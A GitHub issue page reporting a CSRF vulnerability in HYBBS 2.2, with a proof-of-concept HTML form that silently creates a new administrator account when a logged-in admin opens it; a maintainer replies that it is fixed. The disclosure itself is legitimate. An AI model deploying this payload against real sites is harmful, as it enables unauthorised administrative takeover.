Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CSRF vulnerability which can add the administrator account #3

cnfreiheit opened this issue Mar 29, 2019 · 1 comment


None yet
2 participants
Copy link

commented Mar 29, 2019

When the administrator logged in, open the page with poc , it can add the administrator account.
Here, my test site's url is http://localhost/HYBBS2.2 .

html code below:

  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/HYBBS2.2/?admin/user.html" method="POST">
      <input type="hidden" name="gn" value="2" />
      <input type="hidden" name="user" value="admin2" />
      <input type="hidden" name="group" value="1" />
      <input type="hidden" name="email" value="xx&#64;126&#46;com" />
      <input type="hidden" name="pass" value="admin123" />
      <input type="submit" value="Submit request" />



This comment has been minimized.

Copy link

commented Apr 18, 2019

already fixed

@hyyyp hyyyp closed this Apr 18, 2019

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.